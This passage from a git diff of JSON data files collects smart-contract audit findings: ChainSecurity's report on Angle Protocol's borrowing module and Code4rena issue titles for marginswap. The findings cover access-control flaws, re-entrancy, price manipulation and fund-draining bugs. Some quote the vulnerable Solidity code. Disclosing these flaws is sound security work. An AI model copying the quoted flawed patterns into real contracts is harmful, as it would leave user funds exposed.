surplusBufferValue = surplusBuffer; uint256 newSurplus; uint256 newBadDebt; for (uint256 i = 0; i < vaultManagers.length; i++) { (newSurplus, newBadDebt) = IVaultManager(vaultManagers[i]).accrueInterestToTreasury(); surplusBufferValue += newSurplus; badDebtValue += newBadDebt; } } The vulnerable function fetchSurplusFromVaultManagers has been removed from the updated code. Hence, the functionality to collect the surplus only from a subset of vault managers is not available anymore. function fetchSurplusFromAll should be called. the surplus accrued by all VaultManager contracts, to collect In order ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.2 Inconsistent Access Control", "body": " The setup of roles for the contract CoreBorrow is implemented in the function initialize. The admin of the GUARDIAN_ROLE is set to GUARDIAN_ROLE, which may lead to an exploit as a malicious guardian can remove all governors from the GUARDIAN_ROLE. In such scenario, the functions addGovernor, isGovernorOrGuardian, and all the functions in other contracts that call isGovernorOrGuardian with a governor address would revert, as they no longer have the GUARDIAN_ROLE, and thus are no longer the admin of the GUARDIAN_ROLE. function initialize(address governor, address guardian) public initializer { require(governor != address(0) && guardian != address(0), \"O\"); require(governor != guardian, \"12\"); _setupRole(GOVERNOR_ROLE, governor); _setupRole(GUARDIAN_ROLE, guardian); _setupRole(GUARDIAN_ROLE, governor); _setRoleAdmin(GUARDIAN_ROLE, GUARDIAN_ROLE); _setRoleAdmin(FLASHLOANER_TREASURY_ROLE, GOVERNOR_ROLE); } function addGovernor(address governor) external { grantRole(GOVERNOR_ROLE, governor); grantRole(GUARDIAN_ROLE, governor); } function isGovernorOrGuardian(address admin) external view returns (bool) { return hasRole(GUARDIAN_ROLE, admin); } The issue has been addressed in code , the governor is set as the admin of the GUARDIAN_ROLE, hence a guardian cannot change anymore the roles of a governor address. Angle - Angle Borrowing Module - 16 SecurityMediumVersion1CodeCorrectedVersion2 \fFurthermore, the function removeGovernor has been updated to allow a governor address to remove its roles, i.e., revoke its roles as guardian and then as governor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.3 Incorrect Accounting of Global Debt", "body": " The following issue was reported by Angle during the review process. The function _closeVault in the contract VaultManager.sol does not update the global debt state variable totalNormalizedDebt. The function _closeVault has been revised to update the global debt state when a vault is closed: totalNormalizedDebt -= vault.normalizedDebt;. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.4 Stuck Ether", "body": " The function angle in the contract VaultManager is declared as payable, however the code has no logic to deal with the incoming Ether. Therefore, the Ether sent when calling the function angle is not accounted and gets stuck into the contract. The keyword payable has been removed from the function VaultManager.angle, hence users cannot send Ether to the contract when calling this function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.5 Incomplete Specifications BaseReactor", "body": " The parameter _protocolInterestShare in BaseReactor._initialize is missing the NatSpec description. The NatSpec description has been added for the parameter _protocolInterestShare in the function _initialize. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.6 Mismatch of Specifications in _repayDebt", "body": " The function VaultManager._repayDebt will not revert on a non-existing vault, however the NatSpec comments assume that it will revert. Angle - Angle Borrowing Module - 17 CorrectnessMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrectedCorrectnessLowVersion2CodeCorrectedCorrectnessLowVersion2CodeCorrected \f/// @dev This function will revert if it's called on a vault that does not exist The sentence above has been removed from the NatSpec of the function _repayDebt. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.7 Unclear Specifications for Swap Function", "body": " The NatSpec descriptions for parameters in ISwapper.swap are confusing, for example the parameter outTokenOwed has the following description: @param outTokenOwed Minimum amount of outToken this address should have at the end of the call It is unclear if this address refers to the contract Swap or to the recipient address. The NatSpec description for the parameter outTokenOwed has been revised: @param outTokenOwed Minimum amount of outToken the `outTokenRecipient` address should have at the end of the call. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.8 Incomplete Specifications", "body": " Several NatSpec descriptions non-exhaustive list: for the function parameters are not complete. We provide a The description of `` data`` in VaultManager.liquidate. supply in BaseReactor._convertToShares. Return values in BaseReactor._getFutureDebtAndCF. Specification changed: The NatSpec descirptions have been added for the examples listed above: /// @param data Data to pass to the repayment contract in case of... /// @param _supply Optional value of the total supply of the reactor, it is recomputed if zero /// @return futureStablecoinsInVault Future amount of stablecoins borrowed in the vault /// @return collateralFactor Collateral factor of the vault if its debt remains unchanged but `toWithdraw` collateral ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.9 Inconsistent Error Message", "body": " Angle - Angle Borrowing Module - 18 CorrectnessLowVersion2CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \fin BaseAgTokenSideChain.sol and The error codes function setTreasury in BaseOracleChainlinkMulti.sol are inconsistent with the respective descriptions in errorMessages.json. in modifier onlyTreasury Furthermore, most of the contracts use numbers as error messages, and the file errorMessages.json maps each error code to a meaningful description. However, in BaseReactor the following messages are used: require((assets = _convertToAssets(shares, usedAssets + looseAssets, 0)) != 0, \"ZERO_ASSETS\"); require(currentAllowance >= shares, \"ERC20: transfer amount exceeds allowance\"); The error messages have been revised on the whole codebase and a new approach is used: if(!condition) revert CustomErrorMessage(); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.10 Misleading Function Name", "body": " In contract EulerReactor.sol, the function name _maxStablecoinsAvailable does not match with the specifications and the code, which returns the maximum amount of assets that can be withdrawn. The function _maxStablecoinsAvailable has been renamed to _maxAmountWithdrawable, and the NatSpec description has been updated accordingly: @return maxAmount Max amount of assets that can be withdrawn from the reactor considering Euler liquidity for the stablecoin. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.11 Mismatch of Specifications for Function", "body": " _isSolvent The NatSpec comment for the function VaultManager._isSolvent states: /// @notice Verifies whether a given vault is solvent (i.e., should be liquidated or not) ... /// @dev If the oracle value or the interest rate accumulator has not been called at the time of the /// call, this function computes it The first sentence above states that the function verifies if the vault is solvent, however the function does not verify the vault status, but only computes some parameters. The second sentence above states that the function computes the interest rate accumulator if it has not been called before, however the implementation does not perform it. Angle - Angle Borrowing Module - 19 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \fSpecification changed: The NatSpec descriptions have been revised to reflect the behavior of the function implementation: /// @notice Computes the health factor of a given vault. This can later be used to check whether a given vault is solvent ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.12 Missing Description of Variable Decimals", "body": " The documentation pages state that the codebase generally uses three bases: BASE_TOKENS (18 decimals), BASE_PARAMS (9 decimals) and BASE_INTEREST (27 decimals). However, to improve readability and integrations with other systems, the code would benefit from having a description of the expected base for each variable. Specification changed: The NatSpec descirption for VaultManagerStorage.BASE_PARAMS states that unless specified otherwise all the parameters are in 9 decimals: /// @notice Base used for parameter computation: almost all the parameters of this contract are set in `BASE_PARAMS` ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.13 Missing Sanity Checks on Vault Creation", "body": " The function VaultManager.angle does not perform any sanity check on vault creation for the parameter to, which is the owner of the vault. The sanity check to prevent vaults being minted to address(0) has been added into the function VaultManagerERC721._mint: if (to == address(0)) revert ZeroAddress(); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.14 No Event Emitted on Flashloan's Parameters", "body": " Update The function FlashAngle.setFlashLoanParameters updates the fee and the maximum amount that can be borrowed by the module; however, no event is emitted. Angle - Angle Borrowing Module - 20 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The following event will be triggered every time the function is successfully called. event FlashLoanParametersUpdated(IAgToken indexed stablecoin, uint64 _flashLoanFee, uint256 _maxBorrowable); ... emit FlashLoanParametersUpdated(stablecoin, _flashLoanFee, _maxBorrowable); ... ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.15 Possible to Optimize Struct", "body": " The struct FlashAngle.StablecoinData can be optimized to occupy 2 storage slots instead of 3 if reordered. The struct is reordered to occupy 2 storage slots. struct StablecoinData { uint256 maxBorrowable; uint64 flashLoanFee; address treasury; } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.16 Precision Loss in Division", "body": " This line below from the function _checkLiquidation of contract VaultManager.sol uses division, which is prone to rounding errors. In this case it is possible to use multiplication as needed to have both sides of the comparison operator in the same decimals instead of using division. if (currentDebt <= (maxAmountToRepay * surcharge) / BASE_PARAMS + dust) The updated code avoids the division operator and evaluates the condition as follows: if (currentDebt * BASE_PARAMS <= maxAmountToRepay * surcharge + dust * BASE_PARAMS) { ... } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.17 Specification Mismatch in _handleRepay", "body": " Angle - Angle Borrowing Module - 21 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \fThe NatSpec description for the parameter to in VaultManager._handleRepay states: @param to Address to which stablecoins should be sent However, the function only sends collateral tokens to the address to: if (collateralAmountToGive > 0) collateral.safeTransfer(to, collateralAmountToGive); Specification changed: The NatSpec comments has been updated: @param to Address to which collateral should be sent ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.18 Specification Mismatch setUint64", "body": " The function setUint64 in the contract VaultManager.sol is protected with the modifier onlyGovernorOrGuardian, however, it says When setting parameters governance should make sure .... The Angle team should assess and clarify the intended behaviour and update the specification or the modifier accordingly. the specification, in Specification changed: The specification is changed to comply with the modifier: /// @dev When setting parameters governance or the guardian should make sure that... ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "6.19 Unchecked Array Length", "body": " The function angle in the contract VaultManager does not check if the input arrays actions and datas have the same length and trigger an early revert if the input parameters do not match, thus be more gas efficient. The updated code performs a check that arrays actions and datas have the same length. Furthermore, it also checks that the arrays have a non-zero length: if (actions.length != datas.length || actions.length == 0) revert IncompatibleLengths(); Angle - Angle Borrowing Module - 22 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f6.20 Unchecked VaultID When Adding Collateral The function angle does not perform any check to verify if a vault exists when the action is addCollateral. The internal function _addCollateral also does not perform such checks, hence it is possible to add collateral to vaults that are not created yet, or to vaults that have been burned, i.e., locking tokens. The function _addCollateral has been updated to check if the collateral is being added into an existing vault: if (!_exists(vaultID)) revert NonexistentVault(); Angle - Angle Borrowing Module - 23 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.1 Default VaultID Value", "body": " The function angle in the contract vaultManager/VaultManager.sol will use the latest vaultID if the action's parameter vaultID is 0. Users should be aware of this default behavior and be careful to use vaultID = 0 only when the first action of a batch operations is createVault. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.2 Dependency on Freshness of Chainlink Oracle", "body": " Prices The Angle Borrowing Module queries Chainlink oracles to get the price of an asset and the function _readChainlinkFeed performs the following sanity checks: (uint80 roundId, int256 ratio, , uint256 updatedAt, uint80 answeredInRound) = feed.latestRoundData(); if (ratio <= 0 || roundId > answeredInRound || block.timestamp - updatedAt > stalePeriod) revert InvalidChainlinkRate(); If the price is carried over from an old round (answeredInRound < roundID), or the price is outdated (block.timestamp - updatedAt > stalePeriod), then the function reverts. Therefore, actions that query oracles cannot be executed if the returned price do not pass the sanity checks, e.g., closeVault, removeCollateral, borrow, getDebtIn, liquidate. This might become problematic for the system if Chainlink oracles stop working at any point in future for collateral assets. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.3 Event MinterToggled Can Be Emitted Multiple", "body": " Times In contract AgToken.sol, MinterToggled event without checking if the minter has already been added or removed. functions addMinter and removeMinter will always emit a ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.4 Inconsistency Between Debt and Issued", "body": " Stable Coins Angle - Angle Borrowing Module - 24 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fWhen a user wants to transfer debt from VaultManager B to VaultManager A, the function angle in the contract VaultManager.sol does not check if VaultManager B is a valid VaultManager. If a user deploys a contract with the VaultManager interface and set its address as B, then the debt of the user increases without issuing any stable coins. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.5 Repay Fee Calculation", "body": " The repay fee in the function VaultManager.angle is calculated with the following code: uint256 stablecoinAmountPlusRepayFee = (stablecoinAmount * BASE_PARAMS) / (BASE_PARAMS - repayFee); If the user wants to repay 100 USDC when the repay fee is 3%, the formula above will calculate ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "103.0927835052 USDC as the total amount needed to be repaid.", "body": " ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.6 System Inconsistency", "body": " In contract AgToken.sol, functions burnNoRedeem and burnFromNoRedeem burn the stable tokens and interact with IStableMaster which is not part of the borrowing module reviewed in this audit. Users of the borrowing module have no incentive to call these functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}, {"title": "7.7 Unbounded Loops in Treasury Contract", "body": " Functions setTreasury, _fetchSurplusFromList and removeVaultManager loop through the array vaultManagerList. However, there are no bounds on the size of the array, which means there is a possibility that the transaction exceeds the block gas limit. In those cases, the transaction will revert. Hence, the governance should ensure that the number of entries in vaultManagerList is limited so the transaction cost remains under the block gas limit. Angle - Angle Borrowing Module - 25 NoteVersion2NoteVersion1NoteVersion2 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-borrowing-module/"}] \ No newline at end of file diff --git a/results/codearena_findings_1.json b/results/codearena_findings_1.json new file mode 100644 index 0000000..362ba61 --- /dev/null +++ b/results/codearena_findings_1.json @@ -0,0 +1 @@ +[{"title": "making public", "html_url": "https://github.com/code-423n4/2021-03-elasticdao-findings/issues/1", "labels": [], "target": "2021-03-elasticdao-findings", "body": "making public"}, {"title": "Magic Numbers used in Admin._stake() When Constant Defined Above Can Be Used Instead", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/71", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Magic Numbers used in Admin._stake() When Constant Defined Above Can Be Used Instead"}, {"title": "Add a timelock to functions that set key variables", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/70", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "Add a timelock to functions that set key variables"}, {"title": "Duplicated Code In Admin.viewCurrentMaintenanceStaker()", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/69", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Duplicated Code In Admin.viewCurrentMaintenanceStaker()"}, {"title": "Users Can Drain Funds From MarginSwap By Making Undercollateralized Borrows If The Price Of A Token Has Moved More Than 10% Since The Last MarginSwap Borrow/Liquidation Involving Accounts Holding That Token.", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/67", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Users Can Drain Funds From MarginSwap By Making Undercollateralized Borrows If The Price Of A Token Has Moved More Than 10% Since The Last MarginSwap Borrow/Liquidation Involving Accounts Holding That Token."}, {"title": "The First User To Borrow a Particular Token Can Drain Funds In MarginSwap by Making An Undercollateralized Borrow Using Flash Loans", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/66", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "The First User To Borrow a Particular Token Can Drain Funds In MarginSwap by Making An Undercollateralized Borrow Using Flash Loans"}, {"title": "Impossible to call withdrawReward fails due to run out of gas", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/65", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Impossible to call withdrawReward fails due to run out of gas"}, {"title": "Inconsistent usage of applyInterest", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/64", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Inconsistent usage of applyInterest"}, {"title": "[Gas] Useless addition of 0", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/62", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] Useless addition of 0"}, {"title": "Not emitting event for important state changes", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/61", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Not emitting event for important state changes"}, {"title": "[Gas] Do not send value if holdingsValue is 0", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/60", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] Do not send value if holdingsValue is 0"}, {"title": "[Gas] Extract storage variable to a memory variable", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/59", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] Extract storage variable to a memory variable"}, {"title": "[Gas] Not used imports", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/58", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] Not used imports"}, {"title": "[Gas] only process value if amount is greater than 0", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/57", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] only process value if amount is greater than 0"}, {"title": "[Gas] unused variables", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/56", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] unused variables"}, {"title": "[Gas] same calculations are done twice", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/55", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] same calculations are done twice"}, {"title": "[Gas] Error codes", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/54", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[Gas] Error codes"}, {"title": "[INFO] liquidators may be a subject of front-running attacks", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/53", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] liquidators may be a subject of front-running attacks"}, {"title": "[INFO] allTranches array is unbounded", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/52", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] allTranches array is unbounded"}, {"title": "[INFO] Inaccurate revert message in function deactivateIssuer", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/51", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Inaccurate revert message in function deactivateIssuer"}, {"title": "[INFO] Optimize the inheritance tree", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/50", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Optimize the inheritance tree"}, {"title": "[INFO] setUpdateMaxPegAmount and setUpdateMinPegAmount do not check boundaries", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/49", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] setUpdateMaxPegAmount and setUpdateMinPegAmount do not check boundaries"}, {"title": "[INFO] Misleading revert messages", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/48", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Misleading revert messages"}, {"title": "[INFO] Code duplication in viewCurrentMaintenanceStaker", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/47", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Code duplication in viewCurrentMaintenanceStaker"}, {"title": "[INFO] Variable is declared and initialized with different values", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/46", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Variable is declared and initialized with different values"}, {"title": "[INFO] Useless overflow comments", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/45", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Useless overflow comments"}, {"title": "[INFO] Consistent function names", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/44", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] Consistent function names"}, {"title": "[INFO] TODOs", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/43", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] TODOs"}, {"title": "[INFO] All caps indicates that the value should be constant", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/42", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "[INFO] All caps indicates that the value should be constant"}, {"title": "setLeveragePercent should check that new _leveragePercent >= 100", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/41", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "setLeveragePercent should check that new _leveragePercent >= 100"}, {"title": "Isolated margin contracts declare but do not set the value of liquidationThresholdPercent", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/40", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "Isolated margin contracts declare but do not set the value of liquidationThresholdPercent"}, {"title": "PriceAware uses prices from getAmountsOut", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/39", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "PriceAware uses prices from getAmountsOut"}, {"title": "function buyBond charges msg.sender twice", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/38", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "function buyBond charges msg.sender twice"}, {"title": "diffMaxMinRuntime gets default value of 0", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/37", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "diffMaxMinRuntime gets default value of 0"}, {"title": "runtime > 1 hours error message discrepancy", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/36", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "runtime > 1 hours error message discrepancy"}, {"title": "function initTranche should check that the share parameter is > 0", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/35", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "function initTranche should check that the share parameter is > 0"}, {"title": "function crossWithdrawETH does not emit withdraw event", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/34", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "function crossWithdrawETH does not emit withdraw event"}, {"title": "An erroneous constructor's argument could block the withdrawReward", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/33", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "An erroneous constructor's argument could block the withdrawReward"}, {"title": "Unlocked Pragma", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/31", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "Unlocked Pragma"}, {"title": "`getReserves` does not check if tokens match", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/30", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "`getReserves` does not check if tokens match"}, {"title": "Missing checks if pairs equal tokens", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/29", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": "Missing checks if pairs equal tokens"}, {"title": " No default `liquidationThresholdPercent`", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/28", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-marginswap-findings", "body": " No default `liquidationThresholdPercent`"}, {"title": "Events not indexed", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/27", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Events not indexed"}, {"title": "Rewards cannot be withdrawn", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/26", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Rewards cannot be withdrawn"}, {"title": "`account.holdsToken` is never set", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/25", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "`account.holdsToken` is never set"}, {"title": "Users are credited more tokens when paying back debt with `registerTradeAndBorrow`", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/24", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Users are credited more tokens when paying back debt with `registerTradeAndBorrow`"}, {"title": "Wrong liquidation logic", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/23", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Wrong liquidation logic"}, {"title": "Liquidations can be sandwich attacked", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/22", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "Liquidations can be sandwich attacked"}, {"title": "Price feed can be manipulated", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/21", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Price feed can be manipulated"}, {"title": "Missing `fromToken != toToken` check in `MarginRouter.crossSwapExactTokensForTokens`/`MarginRouter.crossSwapTokensForExactTokens`", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/20", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Missing `fromToken != toToken` check in `MarginRouter.crossSwapExactTokensForTokens`/`MarginRouter.crossSwapTokensForExactTokens`"}, {"title": "Re-entrancy bug in `MarginRouter.crossSwapTokensForExactTokens` allows inflating balance", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/19", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "Re-entrancy bug in `MarginRouter.crossSwapTokensForExactTokens` allows inflating balance"}, {"title": "Naming convention for internal functions not used consistently", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/17", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "Naming convention for internal functions not used consistently"}, {"title": "Function parameter named timestamp", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/16", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "Function parameter named timestamp"}, {"title": "Natspec comments not used in a consistent way", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/15", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "Natspec comments not used in a consistent way"}, {"title": "lastUpdatedDay not initialized", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/14", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-marginswap-findings", "body": "lastUpdatedDay not initialized"}, {"title": "Multisig wallets can't be used for liquidate", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/13", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-marginswap-findings", "body": "Multisig wallets can't be used for liquidate"}, {"title": "isStakePenalizer differtent than other functions in RoleAware.sol", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/12", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "isStakePenalizer differtent than other functions in RoleAware.sol"}, {"title": "No function for TOKEN_ADMIN in RoleAware.sol", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/11", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-marginswap-findings", "body": "No function for TOKEN_ADMIN in RoleAware.sol"}, {"title": "Role 9 in Roles.sol", "html_url": "https://github.com/code-423n4/2021-04-marginswap-findings/issues/10", "labels": ["bug", "1 (Low Risk)"], "target": 